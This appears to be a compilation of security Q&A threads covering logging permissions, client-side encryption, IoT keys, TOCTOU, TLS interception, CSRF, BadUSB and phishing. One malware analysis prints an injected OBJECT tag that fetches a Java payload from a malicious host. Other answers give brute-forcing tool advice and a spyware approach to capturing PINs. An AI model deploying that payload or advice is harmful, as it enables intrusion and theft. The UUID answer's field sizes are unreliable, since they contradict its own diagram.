Safe user/group for rsyslog to read application log? I have an application which writes a logfile in /var/app/applog.log. This application has to be launched as root, but runs as app:app and can also be demoted to nobody:nobody
What exactly is nobody:nobody and what priviledges does it have?
Is it best to run my app as app:app or nobody:nobody?
The logfile has the same user as the daemon that creates them (app or nobody). But for some reason belongs to the root group.
I have seen that rsyslog uses the syslog user and depending on configuration uses the adm group (I have seen many guides that recommend using this group for rsyslog.What does this group do and is it safe to use it for rsyslog?)
My rsyslog.conf looks like this:

  $FileOwner syslog
  $FileGroup adm
  $FileCreateMode 0640
  $DirCreateMode 0755
  $Umask 0022
  $PrivDropToUser syslog
  $PrivDropToGroup adm

For rsyslog to be able to read my app's log I have to change the logfile group to adm and for some reason I also have to add rsyslog to adm group (even though I specify adm group in conf) for rsyslog to able to read the file.
Which user:group should the logfiles be and which is the safest way to allow ryslog to read them?

In the end I want my daemon to only be able to write to these logs and rsyslog only be able to read them. No other user should be able to read/modify the logs other than root. Any ideas?

The nobody user is intended to be exactly that. A generic user account that doesn't belong to anyone and isn't used to run any services. As such, having a file owned by nobody:nobody is a way to make sure that only root has access but is not owned by root.

My rule of thumb would be to create a service account to run your service. That way you have things like httpd running as httpd or apache. That way if there exists a vulnerability in your service then the damage is limited. If, for example, someone can make your website run a local command it will run as a user that can only do stuff in /var/www instead of letting them gain complete control of your system.

Syslog is an interesting one. Typically it doesn't really matter what your syslog server runs as, since it's just listening on a socket and writing out to files. If your application logs using syslog, then everything will just work out. The rsyslog engine, however, can do some more advanced features such as reading a file and then processing it.

In order for rsyslogd to read a file then it must be able to read that file. So in your situation your application's log file needs to:

Be world readable
Be owner readable by user syslog
Be group readable by group adm

Alternatively, you can let rsyslogd remain running at root. That's usually not ideal, but depending on the security posture and compensating controls the risks can be largely mitigated. In either event, some reconfiguration is going to have to happen.


Should I encrypt sensitive form data with JavaScript on the client? This is by no means a replacement for HTTPS, so please do not assume that is why I am asking this question. I am exploring, and I am curious. I am looking for some expert input on this, and I am not entirely sure where I should ask this.

Okay, so say I'm sending really sensitive information (bank information for example). And I want to take a step further to protect it.

With JavaScript, I would encrypt the form data when it was submitted. Then I would decrypt it on the server (back-end).

The first option would be to use asymmetric encryption alone. Encrypt the form data on submission, with the public key. And since it is public, it cannot hurt for the client to know it. Then on the server, decrypt the data with the private key. Which is obviously private, and only the server knows it.
A lot of asymmetric algorithms are really slow from what I have heard, and can be quite limited in terms of how much you can encrypt(RSA for example). So what about hybrid encryption? Encrypt the form data with symmetric encryption (random key generated every time), then encrypt the symmetric key with with the public asymmetric key. Send the symmetric key along with the data. Decrypt the key with the private key, use the key to decrypt the data.

What do you think? I am a little lost as to which would be better. And how to go about this.

Best case scenario here is that you are wasting your time. Generally, doing client side encryption on top of HTTPS in a web application is a lot of work, but it provides no extra security.

The purpose of an extra crypto layer would be to protect against a MITM that has somehow managed to crack the TLS encryption. But an attacker that has done that could easily just modify the JS source of your extra crypto, simply turning it off. So this would only be useful against a passive MITM that has cracked TLS, and that really isn't a threat model worth investing a lot of energy protecting against.

Also note that limitations in many browsers (Opera Mini, IE9) ability to generate secure random numbers makes client side encryption tricky. You should never rely on Math.random for anything crypto related.

You should focus your energy where it has maximum impact. Instead of implementing your own crypto, make sure that you are using the good crypto you get for free  with HTTPS correctly. If you are worried about MITM-attacks, looking into HSTS and preloading would be time much better spent.


How to log admin in as regular user? I'm using JWTs for authentication. It would be good as a means of double checking the user's experience if an admin user could log in as a regular user.

One way I thought to implement this could be to test the hash of the login password against a master password hash when authenticating in addition to the user's password hash. Obviously, since you're entering this password into the browser, it's far less secure than the JWT secret key that you store on your server for signing. So, I'm guessing that this master password might want to be only enabled for a small set of users and only enabled for certain periods when this testing need be done.

Are there any standard ways of allowing an admin to log in as a regular user to view things from their perspective within a JWT auth setup? I can't seem to find any googling for them.

A possible way to allow a privileged user to see what would see a normal user is to implement the ability to (temporarily) drop priviledges in the security layer of an application.

Another way is to let the admin work by default at a regular security level and specifically require a privileged level for administrative tasks. The choice between those way depends on whether the admin mainly process administrative or normal level tasks.

The nice point with both those ways is that an admin will only sees its own data whatever the level, which could matter for sensitive application (medical data for example).

If data sensitivity is not too high, another (maybe more common) way is to allow an admin to impersonate another user. Here the nice point is that the admin will really see the same screen (including same data) as the user, which can help for user assistance.

But whatever the way, it must be explicitely implemented at the application level, specifically in the security layer.


Individual public keys for embedded devices? I have a hardware device, which collects data. It should then encrypt the data, and send it to a server, which should decrypt the data.

The device is an embedded system which can be programmed only once (during manufacture), and then can no longer be accessed (it can only push data to the server).

The idea I have in mind is to:

During production (mass production), program each device with a
unique public key.
Have the server associate the corresponding private key with the
device's serial number in the server's database.
On receipt of data, use the serial number to look up the device's
private key, and decrypt the message.

I'm guessing this is possible, but is it feasible? Particularly the idea of generating and storing a unique key/pair when the devices are programmed (far too many devices to do this manually), and associating it with the device's serial number in the database?

Or is this a bad idea, and is there a better way of allowing a number of IoT devices to communicate securely with a server?

N.B. I have simplified the above, but the device should actually encrypt the data, transmit it to a phone via bluetooth, and then the phone POSTs it to the server over HTTPS. The phone does not decrypt the data. This means that the device cannot just push the data to the server over HTTPS.

Programming devices with unique keys is pretty common, even for low-end microcontroller. It isn't available for every single device, and it has an impact on the manufacturing costs (every fraction of a second on the assembly line counts), but it's an incremental surcharge, not a whole other price bracket.

However, I don't see the point of programming devices with a unique public key. What's the point? You can burn the same public key in a whole series of devices. The only point of having different public keys would be if the corresponding private keys were on different servers.

The primary reason people put unique keys in devices is to authenticate data coming from the device. This requires a private key in the device, with a server holding all the devices' public keys.

If you want data confidentiality, and you're prepared to have a unique key in each device, you might as well save on computing power and inject a secret key and use symmetric encryption. Under most threat models, if the device's secret key is compromised, the data sent by the device is also compromised anyway, so there's no advantage in using public-key encryption.

For authenticity, on the other hand, don't use symmetric keys if you can possibly avoid it. Here asymmetric cryptography has a major benefit, which is that a breached server is harmless (with respect to data authenticity), since the server only needs to have public keys.

Whatever you do, never use “class keys”: never inject the same secret/private key into a whole class of devices. If you do that, then breaching a single device gives the attacker access to all the devices. If it costs $1000 to breach one device and the expected gain is $1 per device, nobody will do it if breaching that one device only gives access to that device, but it becomes worthwhile if breaching one device gives access to 100000 of them.


How to brute force HTTP Basic Authentication requested with XHR? How can one brute force a website using HTTP Basic authentication using metasploit which uses XHR in background? I am getting error "No URI found that asks for HTTP authentication". Relevant headers are as below:

Authorization: Basic ###########
X-Requested-With: XMLHttpRequest

I did not found any relevant Metasploit options to set specific to XHR while using /auxiliary/scanner/http/http_login. Also site uses Ajax/Javascript for form submission.

Also when you visit the http://hostname:port it redirects to http://hostname:port>/#/signin, is this # here of any significance?
P.S. I am using URI_PATH = /#/signin as the option with no luck.

Metasploit's http_login module doesn't support arbitrary HTTP headers.  If the site only responds with the XHR header included, then you might want to use a more versatile tool like hydra.

# indicates the beginning of the URI fragment.  This isn't a part of the URI used for logins, but is typically used to pass options to the front-end web framework.


Why does UUID v4 have the format xxxxxxxx-xxxx-4xxx-zxxx-xxxxxxxxxxxx? I'm very curious as to why the format is xxxxxxxx-xxxx-4xxx-zxxx-xxxxxxxxxxxx? Why is the 4 there, and why is z always either 8, 9, A, B? And also, why the different string lengths between the dashes? What is the rationale behind all of this, and does it have any implications for generating cryptographically secure strings?

EDIT: I made the assumption (wrongly), that UUID v4 is necessarily crytopgrahically secure. I was looking for the security related rationale for its format. But, yes, I can understand that very strictly speaking this is not a security question. Anyway, it is my understanding that UUIDs built with CSPRNGs can be cryptographically strong.

Variants and Versions:

A UUID has variants and versions.

The 4 in this case tells you, that it is the version 4. Other versions range from  1 to 5.

Those versions have variants 8, 9, A and B, therefore the z in your UUID tells you which variant it is.

The variant is used for telling which layout the UUID has. Variants are also important when it comes to backwards compatibility.

Lenght of the strings:

As to why the strings have different lengths, a UUID has a certain parts, that you can use to generate a UUID depending on various parameters:

UUID =  time-low "-"
        time-mid "-"
        time-high-and-version "-"
        clock-seq-and-reserved | clock-seq-low "-"
        node

time-low has 16 bits, time-mid has 8 bits, ... The lengths were historically constructed so that they fit into the following scheme:

0                   1                   2                   3
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          time_low                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|       time_mid                |         time_hi_and_version   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|clk_seq_hi_res |  clk_seq_low  |         node (0-1)            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         node (2-5)                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

So this should give you an idea, why the lengths of the strings are different.

UUIDs and security:

Usually UUIDs are not secure: https://littlemaninmyhead.wordpress.com/2015/11/22/cautionary-note-uuids-should-generally-not-be-used-for-authentication-tokens/ ... and see Michael Kjörling's comment for further examples and explanations.

UUIDs were not built to be cryptohraphically secure, so you should use something else made especially for that purpose.

The RFC for UUIDs even has a section, about security, warning users to misuse UUIDs for that:

  Security Considerations

  Do not assume that UUIDs are hard to guess; they should not be used
  as security capabilities (identifiers whose mere possession grants
  access), for example.  A predictable random number source will
  exacerbate the situation.

See the RFC for the technical details: https://tools.ietf.org/html/rfc4122


Anonymity with Tor in wifi connection (student house) I just moved in a student flat where several students are using the same WiFi connection. A few days ago the internet was very slow and a guy (son of the owner) came in to ask if I was downloading. He could see I was using 'something that looked like a steaming or downloading site'. It really annoyed me, because I believe I just don't want others checking up on me. I've downloaded Tor, but never really used it. Now I wonder how anonymous I am in the local WiFi spot at home if I use it. I think they can check up on IPs or something, he could see I have a Macbook and I'm the only one with a Macbook in the building. I want to know that if I use a secured connection via Tor other within the network can't see what sites I'm visiting, whatever sites that my be. I don't care if the internet provider knows what I'm doing, but rather not my neighbors since its just none of their business.

If you use Tor or a VPN they cannot detect easily (that is without compromising your computer) which sites you visit, but they can still see how much bandwidth you use. And while they will not see the sites you visit they can just suspect the visiting of special sites from the fact that you try to hide it.


Does a single fopen introduce TOCTOU vulnerability? I'm actually fixing driver under Linux.
Klokwork said that code like:

file = fopen(fileName, "w+"); // w+,r,a and any mix of those is used here
if (file != NULL) { /* do things*/ }
else { /* throw error */ }
fclose(file);

can end as Time-of-check to time-of-use vulnerability.

However as far as I read it need do something like
if(access()) before fopen to make it happen.

And there is question:
Does that code example I show  have any weak point? or I don't need to care?

A call to fopen is not in itself a TOCTOU vulnerability. By definition, TOCTOU involves two operations: a “check” and a “use”.

A common example of TOCTOU vulnerability is checking access permissions with access before opening a file. It's a bug (race condition) because the permissions might change between checking and opening, and it's usually a vulnerability because file permissions are important for security.

The access system call is highly suspicious because there aren't many ways to use it that don't introduce a TOCTOU. The fopen call in itself is not particularly suspicious because there are many ways to use it that are safe. However this doesn't mean that access is the only way to make a TOCTOU with fopen.

An example of race condition that can occur when opening files is if you got the file name from some external source, and you make assumptions about that name. For example, if you build the argument to fopen by concatenating a directory name with a file name, and you've made some checks on the directory, that's a TOCTOU vulnerability as well. The checks on the directory may no longer be valid by the time you use the directory to open a file. That's why Linux has the openat system call: so you can call opendir on a directory, perform checks on the directory, then call openat to open a file inside that directory (whereas open with concatenated names would open a file in a directory which now has this name, but may not be the one you checked).

So yes, you do need to care. Your code may or may not have a vulnerability. In my very limited experience, Klocwork does have a lot of false positives, but not everything is a false positive. Start by reading the complete message carefully. Review your code carefully, with written-down security objectives, and track how these security objectives are met (or not). There's no miracle: writing correct and secure code is harder than just applying a checklist.


Can renew expired Microsoft CA Code Signing cert? I have a Code Signing cert signed by an internal Windows CA.  The person who monitored our certs left our company and this cert recently expired.  I am hitting the CA website and I'm in the renew area, however I am unable to figure out how to locate a PKCS#7 renewal request for the cert.

The Cert in question is a Trusted Publisher for our domain workstations.

I can export the cert to a *.p7b file, which shows as a PKCS #7 Cert, however I still can't get it into the website for the renew request.

Do I have any options other than revoke and generate a new one?  I'd like to avoid that if possible, as I'll have to go around and resign something on the order of 80 PowerShell scripts and programs that I've signed in the past couple years.

Google has been less than helpful, although it's shared lots of results about purchased certs, or ClickOnce certs, or expired WebCerts.  Not much for MS CA expired Code Signing ones, though.  :(

Any thanks would be appreciated!

Few things to know:

you cannot renew expired certificate. This is because existing certificate is used to sign renewal request. Since the certificate is expired, it cannot be used to sign request. Even if you try it, CA will reject renewal request because it was signed by an expired certificate.
instead of renewal, you should go to the same process you went for initial code-signing certificate enrollment. Just enroll a new one and use it to sign the data.
I discourage ADCS Web Enrollment usage, because it offers very and very limited functionality and requires ActiveX. Especially, for Enterprise CAs. Instead, you should consider to use Certificates MMC snap-in which provides powerful tool for certificate enrollment.


What are some ways to steal a password/PIN using this system? http://cups.cs.cmu.edu/soups/2007/posters/p147_lim.pdf

Essentially uses an on-screen keypad that does not show the complete keypad numbers at a time.  The image is refreshed at the rate of the monitor's refresh rate.  Since it refreshes so quickly, our eyes can put the images together and form the keypad but for a screen capture would only capture one of the images showing an incomplete keypad.  The system relies on the fact that the spyware would have to take screenshots at the same rate as the refresh rate and therefore, would consume resources and risk discovery.

It will be harder, but not impossible.

The flaw in their solution is that they think one have to take screenshots at the same rate as the monitors refresh rate to get a complete image set. One only need a sample of each of the images.

You only need a program that takes 2-3 pictures a second (at a random interval) and check the difference between these. If an user uses 15 seconds to enter the pin, the spyware have maybe 30 to 50 pictures, this should be enough to joint to a picture that can be read by OCR. Combined with the mouse movement the spyware have your pin.


Are file attachments "unsafe"? The management at work are asking, "How can we send files easily and safely to each other?", arguing that:

Putting attachments in email is not safe. They want to send links instead
They want to refer to a central, latest version of a file, rather than sending a copy
They want to be able to read the file both on laptops and iPads
They want to share files with people outside the company

The problem is:

Sending links (to a shared network drive) is not straight forward in Microsoft Office. You need OneDrive for this, and sometimes you don't get the file:// prefix. Also, links won't work on Macs.
iPads don't have access to the shared network drive. You could use http, but how do you refer to this while working from Office? Plus, you don't want to expose your network drive on the Internet.
We can't grant external people access to our systems

A possible solution is to use Sharepoint, but this is a big step. Same goes for Google Drive. It would take forever to convert our document base.

What is the recommended approach? Are we stuck with attachments? Does mail encryption or file passwords make any major difference as far as security goes?

UPDATE: Based on replies, I should point out that by "unsafe", the management isn't referring to the risk of clicking a malware attachment, but to the fear of their sensitive files getting in the hands of the wrong people. They argue that it's easier for an attachment to get lost or intercepted, than for a link. This would assume that the security regime for the server hosting the link is stronger than that for the email client on whatever device they are using. I'd like to hear comments on this.

There is no obvious difference in transporting malware directly as attachment or let the user retrieve it by visiting a link within the mail. But it might make a difference depending on which other security policies and tools are in use in your company:

If the mail is not encrypted and the link does not point to an https side it might be better to use links, if the firewall (which you hopefully have) is able to protect against malware on the web, but not or less capable to do the same for mails.
If you allow and support encrypted mails (PGP or S/MIME) the firewall is usually not able to look into the mails, because they would need the private key of the recipient. So links might be safer, especially if the firewall is also able to intercept and analyze https traffic (most better firewalls do).
If you have a policy of not sending attachments within mails it might be accompanied by a policy to not accept attachments in incoming mails. This would make it easy to weed out lots of malware (or even targeted attacks) which you get today as mail.
The policy of not sending attachments can be accompanied by a central storage which you have to use instead of attachments. With the right permissions on the folder you can trust the links to the storage you get, because only authorized (and trusted) users have access to it. This is in contrast to mails, where you can easily spoof the senders address so that you cannot trust the sender info of the mail.

In summary: with the right security concept behind it such a policy might actually make sense.


SSL certificate issued in my company's name instead of twitter.com When I open twitter.com in my browser, I can see the SSL certificate is issued in the name of my company instead of twitter.com. What is this actually?

If for some or all SSL sites you're seeing the certificates as being issued by your employer, it's likely that they are using an SSL intercepting proxy (e.g. BlueCoat).

These systems are designed to allow the company to inspect traffic going over their Internet connection even when it is SSL encrypted.  This can be done for purposes of malware scanning and/or content checking for things like content which breaches the company's Acceptable Use Policy.

Depending on your country of operation there may be restrictions on what they are allowed to legally intercept and you should also have been notified (likely when signing your employment documentation) that this connection would be monitored.

If you want to access Internet based resources without this risk, the best bet is to use a device that you own and operate yourself.


CRT / CHECK vs OSCP certification Which is harder? If I see 2 pentesters, one with one and one with the other who would this information alone qualify above the other? I know it doesn't work like this and it is all down to experience but from what I've been told the OSCP exam is harder than the CRT exam? Something about breaching 30 systems in 24 hours while for CRT you need to breach two? Am I woefully misinformed?

it's pretty hard to compare those two exams, IMO.  Crest CRT is taken on-site with very limited Internet access and OSCP is done remotely, so they favour different types of people.

In terms of level of technical content, I'd expect the OSCP to have more challenges to overcome as it's a longer exam (24 hours IIRC) against the practical element of the CRT which is only a couple of hours long (but then that's part of the challenge!).  So a straight comparison of number of systems probably isn't the best.


The Creation of Secure Software Development Environments [Edit] I did complete an analysis and framework of concepts
that were included into my thesis for extensions to existing frameworks. All of the information in this thread was useful. The direct link to an extracted and shortened version of document is below for the interested. I'm always open to critical review and impression, though this site may not be the place for continuous debate.
http://www.levii.com/images/documents/secure%20development%20environments.docx

I'm working on a whitepaper [full disclosure: this is for my Master's thesis] that discusses security within the realm of secure software development, and while secure software engineering best practices and standards are well published and documented. The shortfall seems to be that most of these exclusively deal in the domain of the software creation itself and either completely miss, or gloss over the environment in which it is created.
I'm aware of the DISA Enclave STIG, Appendix A and the concept of security zones that are separated for the purposes of software development, testing and production and have personal experiences creating such environments ... what seems to be missing though are audit frameworks (similar to ISO27001 or NIST800-53) and best practice guides that are published in the community.
There is this stackexchange question: Data loss protection in software artifacts and I've also run across a couple of SANS.org whitepapers that very briefly discus the subject. They do seem though to miss at the fundamental question I have regarding industry-wide best practices, frameworks or processes.
So the question(s) I have for the IT Security community here are:
1.) What references are you aware of that discuss these types of separation?
2.) Of course there are policies must be in place, technical solutions in the network architecture, etc., - what do you base these on (or do you do as I have done ... base it off of personal experience and anecdotal knowledge)?
3.) Of the "big 3" ISMS standards (ISO27000, NIST800, FIPS140), do you think that any one is specifically best extended into such an environment? If none, is there a differing set that I should look into?
Of course, I'm absolutely open to anything else the community may have to say on the subject. I've seen some commercial offerings ... they are, of course, reluctant to give out a whole lot of information on their tools, techniques and processes.

This is one of the elements in the OpenSAMM Open Software Assurance Maturity Model as from a governance perspective it is essential to have appropriate separation of development, test and production environments.

Without this separation, there are a number of key risks, including:

a change to code that has not been tested could very easily delete or corrupt data in a production environment, or even break the system sufficiently to deny service
a developer with access to a production or test environment could subvert system controls in order to commit fraud, disrupt systems or gain unauthorised access

Companies in regulated industries tend to have this separation enforced under audit rules (eg Financial Services) but most industries recommend this as good practice.

In the US, CMMI-DEV, listed on this page is also appropriate, and most SDLC programmes do mandate or at least recommend secure software development environments.

There are also elements in ISO27001:2005 which do apply, but I think they aren't formalised enough yet.


Is there any anti-spam solution focused on preventing Replies from hitting spam? If I were to reign in the problem scope of this other question, is there any proposed or current RFC focused on preventing replies of previous messages from hitting SPAM quarantine?

The previous question discussed using a special "reply to" address as a component of the dynamic whitelisting based on a HMAC.

Example:

A user would send a message and have a BATV-style email reply to address set to:

 trust=yyyyyyyyyyyyyyyy=user@company.com

Where yyyyyyyyyyyyyy is a HMAC that is the first 80 bits from the function:

 (SHA256(Key + Lowercase From + Lowercase To))

And compared to the other solution, this Key resides solely on the MTA, and not on end user devices.

There is no need for a specific RFC for that. An email message contains a Message-ID header, which will be recopied by email software in replies to this message, into the In-Reply-To and References headers. RFC 5322 describes these fields.

In order to leverage this mechanism into an antispam filter, then it suffices that your email sending software "remembers" the Message-ID of the emails it previously sent, and matches them in incoming emails, so as to identify responses. You can replace this "memory" by, yet again, a MAC (make the Message-ID consist of some random value and then a MAC computed over that random value), which would allow the automatic recognition of a "genuine" message ID without requiring actual storage. However, since message ID are normally generated by MUA (e.g. Thunderbird), it can be difficult to alter their generation mechanism.

Anyway, since this recognition of message ID is purely local to a site, it does not need to be an agreed-upon Internet-wide mechanism, hence the lack of RFC. Some MUA, like Thunderbird, embed automatic filters for "junk mail" and these filters already do this message-ID processing, which is easy since the MUA already stores a copy of every sent email, including the Message-ID. Other software can be used; e.g. see this answer based on procmail and formail (classic Unix-based tools for manipulating emails)/

The real problem with this strategy is that the notion of "a reply" as seen by computers is tied to whether the user pushed the "reply" button; that may be different from what the user himself thinks of as "a reply". Some people send a "reply" by sending a plain new email but remembering previous exchanges, and even referencing such previous emails in their prose. For the human user, this is a genuine reply, as has been done for millenia (a parchment, a clay slab, a papyrus does not have a "reply" button, and this never prevented people from replying to each other); but machines would have a hard time identifying these "replies" as such.


Identify code being run on website I do not normally deal with internet security problems but this one has got me interested.

The issue is with a specific site, lets say example.com, and how it it visited.

If the address is typed directly into the browser, the website works fine.

If the address is searched in google/bing/yahoo and followed, a 302 redirect is given leading to: a gambling site, an error page, or a web page that only contains an encoded script.

My question here is, how can I identify what this script is doing?

The script captured can be found in the following paste bin.
http://pastebin.com/6uV7M4nJ

You can carefully replace unsafe calls and properties like eval and innerHTML and then run the script. To be safe, turn off all browser plugins. To be safer, you could do this in a virtual machine.

I've done this for your paticular file. The following happens:

A Java file is loaded using <OBJECT CLASSID="clsid:5852F5ED-8BF4-11D4-A245-080C6F74284" width="1" height="1"><PARAM name="app" value="http://fjetymxvbndyz.bounceme.net/fine/beliees_rights.php?jnlp=b00725b396"/></OBJECT>
This script is loaded. It's a browser plugin version detection library with a payload that checks version and loads different files depending on plugins. Here is a beautified version without the library.


Why is TLS still commonly referred to as SSL? I am developing in Visual Studio 2017 and I'm writing an asp.net core 2.0 web application. In the project properties there is a checkbox for Enable SSL. Any idea why this is called SSL instead of TLS?

Also, it seems folks refer to certificates as SSL Certificates instead of TLS certificates. Is that a industry practice?

The best blog post that I have read about this states, in summary, that though TLS effectively replaced SSL nearly 19 years ago, TLS is still being referred to as SSL because SSL has been known to "convey meaning better" than TLS.

This is further supported by well-known companies still using the SSL naming convention in their products and services (e.g. OpenSSL, Mozilla SSL Config generator, SSL Labs SSL test).

Also, it seems this question may have already been resolved here and was closed due to it being primarily opinion based.


Hardware devices for protecting against BadUSB? Have any devices been released which protect against BadUSB attacks?

I'm particularly interested in buying a USB hub which has the following protections:

The USB hub itself won't allow reflashing of its own firmware or will at least require new firmware updates to be signed with a strong cryptographic key (>2048bits RSA).
The USB hub will not allow firmware write commands to devices connected to it.
The USB hub will have single or dual/purpose ports:

"Block device" ports which only allow devices plugged in here to act as block devices.
"Keyboard" ports which only allow devices plugged in here to act as a keyboard.
"Mouse" ports which only allow devices plugged in here to act as a mouse.
"Keyboard/Mouse" devices which allow devices plugged in here to act as both a keyboard and a mouse, think a hybrid keyboard/mouse combo.
"Other" ports which allow things to be anything other than a block device, keyboard, or mouse. Think Bluetooth dongles, cameras, microphones, etc.

Have there been any hardware devices which do something similar to this to defend against BadUSB?

I hope someone will contradict me with solid arguments, but "The USB hub will not allow firmware write commands to devices connected to it.": this seems to be the wrong assumption which makes all the hardware BadUSB protection system to vanish.

There is indeed a related and very informative post: How to check if my USB stick firmware can be rewritten via the USB port?. One could learn there that there is no generic "write" command: each vendor use their own commands for this purpose. Even worse: with some vendors we should more talk about "tricks" than actual commands, LvB mentions "USB stick's or USB HDD's that when written to an extreme address instead of writing it to disk, write it to the internal memory".

How could such a hardware filter something which cannot be detected and is just part of the normal device communication flow?


Best security practices in internet cafe For the next while I will find myself without a working private wifi connection. That leaves me with just a number of options, of which using an internet cafe is one of them.

What are the best security practices in an internet cafe environment, where I cannot reliably know what has or has not been installed on the computer? The internet cafe I'll be using does not let me install any software, and uses Windows XP.

I have a VPS somewhere on the other side of the globe, and the computers at the internet cafe have PuTTY installed - luckily.

I do not want to leave any traces on the internet cafe computers. Is it worthwhile to put something like TOR browser on a pen drive?

Since the cafe uses some kind of Windows app to log my time - and hence bill me - I can't really reboot from a linux pen drive without angering the owners. Can I still somehow use the relative safety from a linux OS even when not fully rebooting?

If you don't own the hardware you have no control.  Anything you could run within that Windows environment could be logged at the keyboard and mouse input level if nothing else.  If you don't trust the computer, don't use it and bring your own device.  It's the only way.


How to make a report after a ddos attack? what information do I need to write on the report? In my company, after a DDOS against a server, my employer asked me to make an analysis of the attack and to write down some stuff.

What do you think I need to write down in my report?
Is there any available template from a CIRT or another organization that can be used after an incident?
What is the best practice about this kind of report?

In my first analysis i found where the attack was planned (an IRC channel).
I found information about the tool used and the url where the tool can be downloaded.
The attack is made with a LOIC and not with any kind of botnet (as I actually know).
The attack was planned without a hierarchical organization but was organized and maded with the help of people recruited hand-to-hand with the sharing of a little manifesto and the sharing through IRC and twitter of a JPG containing the information on the target and the time of the attack.
I need also to write down some stuff about the people around this attack?

any suggestion?

PLEASE: one-suggestion one-answer, so we can have a community best practice at the end :)

Sorry not to have a good link, but my thought is you want to cover:

What happened?

When did it happen, and for how long did it continue?
Who did it and how?
What was affected - what sites, what servers, how many servers, what part of the business?  What customers?
Root Cause Analysis

What was the impact?

Damage to servers
Damage/exposure of information
Damage to corporate reputation
Damage to human life (crossing fingers that this is a definite no!!!)
Cost of Recovery (Time, Equipment, etc.)

Halting/Preventing

What has been done so far?  Break it down into immediate response vs. ongoing updates
What else should be done?
What is the projection for this happening again?
What about something like this, but not exactly the same?
Are there any changes we could make to future process to prevent/mitigate this type of risk?

Break into past/present/future - what did we do immediate, what are we doing now, what are the big things we should do in the future that will require high level funding?

Future Prognosis

If we do everything in the report what is the likely state of the system to future attacks.  Probably not "bulletproof", so give some assessment of likelihood.
How about if we just leave the system in it's current (partially fixed?) state?


Does use of WEP only open the network to attacks in proximity of the router? I'm learning about security, and discovered my family's router was set to use WEP, with WPS enabled. I've fixed that, but I couldn't give a great answer for why it was necessary, given that we live in a suburban neighborhood with friendly neighbors (probably only two families within connection distance of our router, and a poor connection at that).

I've read a number of pages here discussing WEP which seem to assume that attacks must be local, but I haven't been able to find anything that details that explicitly. I could swear I read one answer claiming that vulnerabilities should be assumed to exist in standard off-the-shelf routers which may make a remote attack on a network's WEP encryption possible, but if that page exists, I can't find it now.

Leaving aside any practical reasons to not use WEP even in the absence of attackers, and the wisdom of not assuming no one nearby would do something nefarious, is there any known remote attack vector that use of WEP or WPS allows, or is the type of Wifi encryption only relevant to attacks by systems in proximity to the router?

Always remember the OSI model. WiFi signal and encryption exist on the lower levels of the model, which by necessity means that the attacks that it mitigates, and the possible attacks against it, also exist on those layers.

The realities of the way WiFi is implemented in those layers mean that it is all about the radio signals, which means that the topic is confined to what can happen to the radio signals.

So, if you were wondering if someone over the Internet (layers 3-4 and above) can attack WEP/WPS, then no. The attacks are within range of the radio signals of the device.


How to sanitize archive files? I am looking for a way to make sure that a particular archive file does not contain any sort of malicious code. From time to time new vulnerabilities pop up (e.g. gzip, 7zip) so I though a good idea would be to convert archive from one format to another before opening it on the secure system.

I assume this operation would make exploiting nearly impossible. I am not concerned about files compressed inside the archive (lets say they are ascii plain text), only about the archive format itself. This trick works well with image formats, where converting a suspicious file ( e.g. jpeg to bmp) bypasses file execution and returns sanitized image. For example, to mitigate MS14-013.

Is there similar way of converting archive without decompressing it/compressing again? Perhaps someone knows a better method?

Being able to convert an archive from one format to another without decompressing it is very rare. Different formats use different file structures and algorithms that are incompatible and you'll be forced to decompress the source format at some point.

When conversion by decompression is done, many of the vulnerabilities could be exploitable. The attack surface might even get bigger than before since several programs are used when doing decompression, compression, and again decompression.

If you are receiving the files from untrusted sources you could specify that only a certain archive formats are allowed. Choosing which one to support is not easy since none of the formats are "safer" than the others. You could argue that the ones with more CVEs is less secure, but that also means that a lot of issues in them have already been fixed. Is zip safer because it has less CVEs? Not necessarily, the vulnerabilities might not have been disclosed to the public, or less research might have been done.

If you stick to the most common archive formats (7z, zip, gz) and keep your software up to date, you should be fine.


how do you find all upd connections a remote server has? Given an IP address of a server connecting to unknown clients via UDP, is it possible to find the IP address of all connected sessions on that server?
I do not have access to the server, I would like to find out who is connecting to it.

Just by having the IP of a server it is not possible to find out which connections the server has to other systems. To get this information one either need to have access to the server itself or to some system which is in the path of the traffic and the ability to capture traffic there, have a look at the firewall states or similar.


How to defend against a CSRF from the same website? All of the solutions (use of tokens, for example) I have seen so far detail how to prevent a CSRF from an external website i.e. prevent a CSRF from evil.com to victim.com. However, how would one protect from a CSRF from within the same site i.e. someone posts a link on victim.com that forces anyone who clicks on it to delete their victim.com account?

Well, the CS in CSRF stands for cross site.

But generally, the attack scenario you describe should not be possible for two reasons:

GET requests should not change server-state, so they do not need any CSRF protection.
Requests that do change server-state should be protected via a token. This token should not automatically be added to user-supplied data, and an attacker cannot create a link or form containing this token, so even requests from the same site will be blocked.

If you use a referer-based approach to CSRF protection (or if you automatically add a token to all links or forms), and if GET requests change server-state (or if POST requests can be converted to GET requests, or if you allow the user to post form tags) you should:

Strongly consider your approach in general. You are not following best-practices regarding security or web development.
Not allow users to post excessive HTML. Especially form tags which are needed for POST CSRF should not be permitted, as they allow a number of other attacks (stealing of secret information, phishing, etc).


How could a scammer know the apps on my phone / iTunes account? I received an email with the subject "Your invoice from Apple #xxxxx".
It then continues by: "[...] your payment from "Pokemon Go was accepted [...]". That line made me sceptical. I just downloaded the app recently. How could the scammer know this? Was it just a good guess?

I assume it to be scam since:

The sender is surpressed
Typos
No Username / data
Generic text
A suspicious little pdf
Not the signature / style from your friendly, expensive fruit seller tech company

Some online warning sites already caught up on it

What I could think of:

Another free app reports my other apps to the vendor
A site I often visit has cookies that I was looking up stuff from let's go pikachu
My account could actually be compromized and someone has access to my records
Many people have the app installed

If only a fraction of the people who have the app open the attached pdf the scammer wins.

Anyway, how could this be and what counter messurements can I apply?

It's a game of probability and chances are high that you might have one of the most popular apps in history installed on your device.

